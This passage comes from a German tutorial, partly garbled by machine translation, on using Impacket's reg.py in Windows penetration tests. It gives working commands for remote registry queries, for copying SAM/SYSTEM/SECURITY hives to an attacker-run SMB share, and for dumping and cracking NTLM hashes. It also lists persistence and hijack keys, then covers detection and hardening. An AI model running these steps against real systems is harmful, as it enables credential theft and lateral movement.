Alle vom aktuellen Benutzer eingebundenen Datenträger: USB (GUID/seriell), externe Laufwerke, zugeordnete Netzlaufwerke. Kombiniert mit HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR (allgemeine Aufzählung) und HKLM\SYSTEM\MountedDevices (auf Maschinenebene, sichtbar in der Persistenz), ermöglicht es, Benutzer-Geräte-Zeit zu korrelieren.

11.8 Wi-Fi-Profile – vom Gerät erkannte Netzwerke #

Text
HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces\<GUID interfaccia>\Profiles

Listet die SSIDs auf, mit denen sich der Rechner im Laufe der Zeit verbunden hat, zusammen mit Daten wie Zeitstempel und Authentifizierungstyp. Das Netzwerkpasswort liefert nicht Es liegt hier im Klartext vor: Es ist mit DPAPI verschlüsselt und befindet sich in einer XML-Datei unter C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\<GUID>\Das Protokoll gibt Auskunft darüber, „welche Netzwerke“, nicht „mit welchem ​​Passwort“ – ist aber dennoch nützlich, um zu verstehen, wo sich der Rechner befunden hat (Büro, Zuhause, Hotel) und ob er jemals eine Verbindung zu ungesicherten öffentlichen Netzwerken hergestellt hat.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces" -s

11.9 RDP-Server – Mit welchen Rechnern hat sich der Benutzer verbunden? #

Text
HKCU\Software\Microsoft\Terminal Server Client\Servers

Jeder Unterschlüssel ist ein Hostname oder eine IP-Adresse, mit der sich der Benutzer über den RDP-Client verbunden hat (mstsc.exeBei einem Penetrationstest verrät dies, welche anderen Rechner der Benutzer verwaltet oder regelmäßig nutzt – oft der erste Hinweis darauf, wohin man sich nach der Kompromittierung eines privilegierten Kontos lateral bewegen kann.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Terminal Server Client\Servers" -s

Wenn der Benutzer für eine dieser Verbindungen die Option „Anmeldeinformationen speichern“ aktiviert hat, wird das Passwort über DPAPI verschlüsselt und im Anmeldeinformationsmanager (nicht in der Registrierung) gespeichert. Das Vorhandensein des Eintrags hier bestätigt jedoch, dass diese Funktion mindestens einmal für diesen Host verwendet wurde.

11.10 Office – zuletzt verwendete Dateien (MRU-Dateien) #

Text
HKCU\Software\Microsoft\Office\<versione>\<applicazione>\File MRU

Konkretes Beispiel für Excel in Office 2016+:

Text
HKCU\Software\Microsoft\Office\16.0\Excel\File MRU

Diese Liste zeigt die zuletzt geöffneten Dateien in jeder Office-Anwendung mit vollständigem Pfad an – einschließlich Dateien auf Netzwerkfreigaben oder an Orten, die möglicherweise nicht mehr existieren. Dies ist hilfreich, da in vielen Unternehmen Excel-Tabellen oder Word-Dokumente weiterhin Anmeldeinformationen oder sensible Daten enthalten, die „temporär“ gespeichert sind: Zu wissen, welche Dokumente ein Benutzer kürzlich geöffnet hat, zeigt an, wo diese Informationen zu finden sind.

bash
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Office\16.0\Excel\File MRU" -s

12. Vollständiger Workflow: von reg.py bis secretsdump und dem Knacken #

12.1 Lokale Anmeldeinformationen ausgeben #

bash
# 1. Server SMB locale per ricevere le hive
smbserver.py -smb2support share ./loot

# 2. Backup delle hive dal target
reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'

# 3. Estrazione offline, mai in chiaro sul target
secretsdump.py -sam ./loot/SAM.save -system ./loot/SYSTEM.save -security ./loot/SECURITY.save LOCAL

Leiser als der direkte Fernstart von secretsdump im Vollmodus.

12.2 Szenario für Backup-Operatoren (ohne Administratorrechte) #

Wenn Ihr Benutzer Mitglied von Sicherungsoperatoren aber nicht lokaler Administrator, du hast immer noch SeBackupPrivilege, wodurch Sie SAM/SYSTEM/SECURITY lesen können, während Standard-ACLs ignoriert werden.

bash
reg.py peter:'Password123'@10.10.10.5 backup -o '\\10.10.14.5\share'

Aus den extrahierten Hives können Sie den Maschinen-Hash oder die lokalen Benutzer abrufen und den Maschinenkonto-Hash mit wmiexec auf laterale Bewegung überprüfen, wenn das Ziel ein Domänencontroller ist.

12.3 Von Hashes zu Passwörtern: Knacken #

Typische Ausgabe von secretsdump:

Text
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Format utente:RID:hash-LM:hash-NTLM:::. Isolieren Sie den NTLM-Hash:

bash
echo -n "8846f7eaee8fb117ad06bdd830b7586c" > hash.txt

Hashcat (Modus 1000 = NTLM):

bash
hashcat -m 1000 hash.txt wordlist.txt

John der Ripper:

bash
john --format=nt --wordlist=wordlist.txt hash.txt

Wenn der LM-Hash nicht aad3b435b51404eeaad3b435b51404ee (Konstante für „kein LM-Passwort“), das alte LM-Format ist noch aktiv – knacken Sie es zuerst, dadurch verringert sich auch der Suchraum für das entsprechende NTLM.

Überprüfen Sie mit dem erhaltenen Passwort weitere Dienste:

bash
evil-winrm -i 10.10.10.5 -u Administrator -p 'PasswordTrovata'

13. Erkennung, Protokollierung und Härtung #

13.1 Erkennung und generierte Protokolle #

reg.py hinterlässt, wie alle Impacket-Skripte, Spuren in den Ereignisprotokollen:

  • Event ID 5145 — Zugang zur benannten Leitung \winreg
  • Ereignis-ID 4656/4658 — Öffnen/Schließen des Registrierungsschlüssels
  • Start-/Stopp-Dienst RemoteRegistry wenn es nicht aktiv war (Ereignis-ID 7036)

Eine massive Abfrage-/Speicheraktivität in der Pipeline \winreg Ausgehend von einem Host, der normalerweise keine Fernadministration durchführt, gefolgt von SMB-Datenverkehr nach außen, ist dies ein starkes Indiz für einen laufenden Credential Dump.

13.2 Verteidigungshärtung #

  • Dienst deaktivieren Remote Registry auf Hosts, die es nicht benötigen, um zu funktionieren
  • Zugriff beschränken auf \winreg Mittel HKLM\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\AllowedPaths
  • Set LocalAccountTokenFilterPolicy a 0 (Standardeinstellung) um eine seitliche Bewegung mit gemeinsam genutzten lokalen Administratoren zu vermeiden
  • Löschen AlwaysInstallElevated von HKLM und HKCU
  • Set UseLogonCredential a 0 in WDigest (moderner Standard, Prüfungen auf älteren Hosts)
  • Fähigkeiten RunAsPPL zum Schutz von LSASS und Credential Guard, sofern die Hardware dies unterstützt.
  • Monitor-Ereignis-ID 5145 am \winreg mit SIEM-Warnung bei anomalen Zugriffen
  • Wende das Prinzip der minimalen Berechtigung an Sicherungsoperatoren — entspricht in Kombination mit einem Pfad zum Domänenadministrator. SeBackupPrivilege
  • Überprüfen Sie regelmäßig die unten aufgeführten ACLs. HKLM\SYSTEM\CurrentControlSet\Services mit AccessChk oder PowerUp
  • Installieren Sie keine benutzerdefinierten Dienste mit zu weitreichenden vererbten Berechtigungen.
  • Behandeln Sie ShellBags in einem Incident Response-Bericht als sensible Daten: Sie zeigen, welche Shares/Festplatten der Angreifer untersucht hat.

14. Checkliste für den Betrieb #

  1. Prüfen Sie den SMB/445-Zugriff und die verfügbaren Anmeldeinformationen (Passwort, Hash, Ticket).
  2. Zuerst die Identität des Rechners ermitteln (Betriebssystem, Computername, Netzwerk).
  3. Vorababfrage zu Konfigurationsschlüsseln (WDigest, RunAsPPL, AlwaysInstallElevated, LocalAccountTokenFilterPolicy, RestrictedAdmin)
  4. Überprüfen Sie die ACLs der Schlüssel Services Verwenden Sie Get-Acl, wenn Sie nach lokalen Berechtigungen suchen.
  5. Prüfen Sie auf verdächtige IFEO- und COM-Registrierungen, wenn das Ziel bereits Anzeichen einer Kompromittierung aufweist.
  6. Falls Sie Anmeldeinformationen ausgeben müssen: Führen Sie local smbserver.py aus, dann reg.py backup
  7. Analysieren Sie Hives offline mit secretsdump – einschließlich LSA-Secrets und zwischengespeicherter Domänenanmeldeinformationen, nicht nur SAM.
  8. Falls relevant, extrahieren Sie ShellBags, UserAssist und ShimCache/Amcache, um die historische Aktivität zu rekonstruieren.
  9. Dokumentieren Sie jeden Schlüsselwechsel mit add/delete zur Erholung nach dem Test
  10. Melden Sie fehlende Sicherheitsschlüssel, nicht nur extrahierte Anmeldeinformationen.

FAQ #

Läuft reg.py ohne Administratorrechte? Für Anfragen zu ungeschützten Schlüsseln ja, aber für SAM/SECURITY sind erhöhte Berechtigungen erforderlich oder SeBackupPrivilege.

Ist es mit einem EDR erkennbar? SMB/RPC-Verkehr zu \winreg Es ist auf Netzwerk- und Ereignisprotokollebene sichtbar; ein modernes EDR-System mit Regeln für den Zugriff auf sensible Stammdatenbanken wird es kennzeichnen.

Was ist der Unterschied zwischen Speichern und Sichern? save Exportieren Sie einen einzelnen Schlüssel Ihrer Wahl. backup Es ist SAM+SYSTEM+SECURITY in einem einzigen Anruf gewidmet.

Muss Impacket auf dem Zielsystem installiert werden? Nein, reg.py läuft auf dem Rechner des Angreifers und kommuniziert über das Netzwerk mit dem nativen Windows-Remote-Registry-Dienst.

Was ist der Unterschied zwischen HKCU und HKU? HKCU ist die HKCU des Benutzers, mit dem Sie angemeldet sind; HKU enthält die Profile aller angemeldeten Benutzer, indiziert nach SID.

Worin besteht der Unterschied zwischen DCC2 und einem NTLM-Hash? Ein NTLM-Hash kann für Pass-the-Hash verwendet werden; DCC2 kann das nicht – es dient nur zur Offline-Verifizierung eines eingegebenen Passworts; es muss geknackt werden.

Kann ShimCache beweisen, dass eine Datei ausgeführt wurde? Nicht allein: Es kann eine Datei protokollieren, selbst wenn sie nur im Explorer angezeigt wurde. Es muss mit Amcache, Prefetch oder dem Ereignisprotokoll abgeglichen werden.

Wann sollte man reg.py NICHT verwenden? Wenn Sie bereits eine interaktive SYSTEM-Shell haben, reg.exe Native oder direkte PowerShell-Befehle sind schneller und erzeugen weniger beobachtbaren Datenverkehr; reg.py ist sinnvoll für Remote-Operationen ohne Shell.

Sind schwache Registry-Berechtigungen in realen Umgebungen üblich? Weniger als früher, aber sie sind häufig bei kundenspezifischen Drittanbieterdiensten (Verwaltungssoftware, Überwachungsagenten) anzutreffen, bei denen während der Einrichtung keine expliziten ACLs festgelegt wurden.

Spickzettel – Übersichtstabelle der behandelten Schlüssel #

RegistrierungsschlüsselVerwendenTechnik / Referenz
HKLM\SAMLokale NTLM-Hashes für KontenT1003.002
C:\Windows\System32\config\SAM via SchattenkopieSAM ohne Administratorrechte sichernCVE-2021-36934 (HiveNightmare)
HKLM\SECURITY\Policy\SecretsDienstkonto-Passwort, DPAPI_SYSTEM, NL$KMT1003.004
HKLM\SECURITY\CacheDomänenzwischengespeicherte Anmeldeinformationen (DCC2)mscash2, hashcat -m 2100
HKLM\SYSTEM\...\Lsa\JD\GBG\Skew1\DataBoot-Key-/Syskey-KomponentenOffline-SAM-Entschlüsselung
...\Winlogon (Standardbenutzername/Passwort/Domänenname)Automatische Anmeldung erfolgreichDirekte Zugangsdaten
...\Control\SecurityProviders\WDigest\UseLogonCredentialKlartextpasswort in LSASST1003.001
...\Control\Lsa\RunAsPPLLSASS-Schutz (PPL)Minderung des Credential Dumps
...\Control\DeviceGuard / Lsa\LsaCfgFlagsCredential Guard (VBS)Hardware-Isolationsnachweise
...\Policies\System\LocalAccountTokenFilterPolicyRemote-UAC-TokenfilterungSeitliche Versetzung mit lokalen Administratoren
...\Control\Lsa\DisableRestrictedAdminRDP-Administratormodus (eingeschränkt)Pass-the-Hash über RDP
...\Policies\...\Installer\AlwaysInstallElevated (HKLM+HKCU)MSI als System installierenSofortige Privatsphäre
...\CurrentVersion\Run / RunOnce / Policies\Explorer\RunKlassischer AutorunT1547.001
...\Control\Session Manager\BootExecuteBeim Hochfahren vor dem Desktop-Start ausführenT1547.001 (Variante)
...\Windows\AppInit_DLLs + LoadAppInit_DLLsDLL-Injection in jedem GUI-ProzessVeraltet, muss überprüft werden
...\Control\Session Manager\AppCertDllsDLL-Injektion bei jedem CreateProcessFortgeschrittene Persistenz
...\Winlogon\Userinit / ShellBenutzersitzung beim Anmelden übernehmenT1547.004
...\Explorer\StartupApproved\RunReal Autorun-GenehmigungsstatusAktive Zugangsprüfung
...\Microsoft\Active Setup\Installed ComponentsAusführung bei der ersten BenutzeranmeldungPersistenz pro Benutzer
SYSTEM\CurrentControlSet\Services\<nome>Konfigurationsdienste, BildpfadT1574.011 (schwaches ACL)
...\Image File Execution Options\<processo>Hijack-DebuggerT1546.012
...\SilentProcessExit\<processo>Auslöser bei ProzessbeendigungT1546.012 (Variante)
HKCU\...\CLSID\{...}\InprocServer32 / TreatAsCOM-HijackingT1546.015
HKCR\<progid>\shell\open\commandDateizuordnungs-HijackingAusführung beim Öffnen der Datei
HKU, HKCUBenutzerprofile (aktiv vs. alle)Mehrbenutzer-Enumeration
HKLM\SOFTWARE\Wow6432Node32-Bit-ProzessprotokollansichtRegistry-Umleitung
...\Explorer\UserAssist\{GUID}\CountGUI-Ausführung (ROT13)Nachweis der Ausführung
...\Control\Session Manager\AppCompatCacheShimCacheNachweis der Ausführung
%SystemRoot%\AppCompat\Programs\Amcache.hveAmcache (mit SHA-1)Nachweis der Ausführung
...\Services\bam\UserSettings\<SID>BAM/DAM (aktuelle Aktivitäten)Es wird in etwa 7 Tagen zurückgesetzt.
...\Explorer\RecentDocs / TypedPaths / TypedURLsAktuelle NutzeraktivitätenNachweis des Zugangs
HKCU\...\MountPoints2 / HKLM\SYSTEM\MountedDevicesEingebundene Geräte/VolumesUSB-Forensik
...\Explorer\RunMRUBefehle, die in „Ausführen“ eingegeben wurdenDFIR, Shell-/UNC-Befehle
UsrClass.dat → Shell\Bags / BagMRUShellBags – OrdnernavigationForensik des Dateisystemzugriffs

Abschluss #

REG.PY ist ein kompaktes, aber zentrales Werkzeug in jeder fortgeschrittenen Phase eines Penetrationstests in Windows- und Active Directory- Umgebungen : von der Aufspürung von Schwachstellen in Konfigurationen über das Auslesen von Anmeldeinformationen bis hin zur Überprüfung der Persistenz. Die wichtigsten Registrierungsschlüssel auswendig zu kennen, ist genauso wertvoll wie das Werkzeug selbst: Dieses Wissen kann einen einfachen SMB-Zugriff in eine umfassende System-Sicherheitsbewertung während autorisierter Aktivitäten verwandeln.

Die Windows-Registry ist eine der wichtigsten Komponenten des Windows-Betriebssystems, und ihr Verständnis ist für Red Teams , Blue Teams , DFIR- Analysten und Systemadministratoren unerlässlich. Mithilfe von REG.PY untersuchten wir Enumeration, Remote-Administration, Persistenz, Forensik und Registry-Konfigurationstechniken und beleuchteten dabei nicht nur die Möglichkeiten des Tools, sondern auch zugehörige Abwehrmaßnahmen und Erkennungsmethoden.

Für einen tieferen Einblick in die gesamte Toolchain für Sicherheitstests von Windows und Active Directory empfehlen wir Ihnen auch die Artikel über SecretsDump , Rubeus und Credential Dumping.

Haftungsausschluss: Alle in diesem Artikel dargestellten Informationen, Beispiele und Techniken dienen ausschließlich der Aus- und Weiterbildung sowie der Forschung im Bereich Informationssicherheit . Jegliche Aktivitäten sollten nur auf Systemen durchgeführt werden, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung besitzen . Die unsachgemäße Verwendung des beschriebenen Wissens kann gegen geltendes Recht verstoßen und Einzelpersonen oder Organisationen Schaden zufügen. Hackita unterstützt keine unautorisierten oder illegalen Aktivitäten und übernimmt keine Verantwortung für die unsachgemäße Verwendung der veröffentlichten Inhalte.


Externe Ressourcen #

#Windows-Registrierung #MS-RRP #Zugriffsberechtigungen

eine Nachricht hinterlassen

Ich bin kein Roboter